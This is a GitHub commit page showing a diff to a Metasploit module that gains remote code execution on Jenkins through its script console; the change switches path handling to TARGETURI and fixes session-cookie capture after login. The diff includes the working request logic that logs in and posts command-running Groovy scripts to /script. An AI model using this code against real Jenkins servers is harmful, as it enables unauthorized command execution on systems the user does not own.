Skip to content

Commit 6b40011

Browse files
committed
use target_uri and normalize_uri as well as fix a cookie problem
1 parent 9f7aafc commit 6b40011

File tree

1 file changed

+21
-18
lines changed

1 file changed

+21
-18
lines changed

modules/exploits/multi/http/jenkins_script_console.rb

Lines changed: 21 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,6 @@ def initialize(info = {})
2626
'jamcut'
2727
],
2828
'License' => MSF_LICENSE,
29-
'Version' => '$Revision: $',
3029
'DefaultOptions' =>
3130
{
3231
'WfsDelay' => '10',
@@ -45,14 +44,17 @@ def initialize(info = {})
4544

4645
register_options(
4746
[
48-
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
49-
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
50-
OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]),
47+
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
48+
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
49+
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
5150
], self.class)
5251
end
5352

5453
def check
55-
res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"})
54+
uri = target_uri
55+
uri.path = normalize_uri(uri.path)
56+
uri.path << "/" if uri.path[-1, 1] != "/"
57+
res = send_request_cgi({'uri' => "#{uri.path}login"})
5658
if res and res.headers.include?('X-Jenkins')
5759
return Exploit::CheckCode::Detected
5860
else
@@ -61,16 +63,17 @@ def check
6163
end
6264

6365
def http_send_command(cmd, opts = {})
64-
res = send_request_cgi({
66+
request_parameters = {
6567
'method' => 'POST',
66-
'uri' => datastore['PATH'] + '/script',
67-
'cookie' => @cookie,
68+
'uri' => "#{@uri.path}script",
6869
'vars_post' =>
6970
{
7071
'script' => java_craft_runtime_exec(cmd),
7172
'Submit' => 'Run'
7273
}
73-
})
74+
}
75+
request_parameters['cookie'] = @cookie if @cookie != nil
76+
res = send_request_cgi(request_parameters)
7477
if not (res and res.code == 200)
7578
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
7679
end
@@ -101,21 +104,19 @@ def execute_command(cmd, opts = {})
101104
end
102105

103106
def exploit
107+
@uri = target_uri
108+
@uri.path = normalize_uri(@uri.path)
109+
@uri.path << "/" if @uri.path[-1, 1] != "/"
104110
print_status('Checking access to the script console')
105-
res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"})
106-
if not (res and res.code)
107-
fail_with(Exploit::Failure::Unknown)
108-
end
109-
110-
sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
111-
@cookie = "#{sessionid}"
111+
res = send_request_cgi({'uri' => "#{@uri.path}script"})
112+
fail_with(Exploit::Failure::Unknown) if not res
112113

114+
@cookie = nil
113115
if res.code != 200
114116
print_status('Logging in...')
115117
res = send_request_cgi({
116118
'method' => 'POST',
117-
'uri' => datastore['PATH'] + '/j_acegi_security_check',
118-
'cookie' => @cookie,
119+
'uri' => "#{@uri.path}j_acegi_security_check",
119120
'vars_post' =>
120121
{
121122
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
@@ -127,6 +128,8 @@ def exploit
127128
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
128129
fail_with(Exploit::Failure::NoAccess, 'login failed')
129130
end
131+
sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]
132+
@cookie = "#{sessionid}"
130133
else
131134
print_status('No authentication required, skipping login...')
132135
end

0 commit comments

Comments
 (0)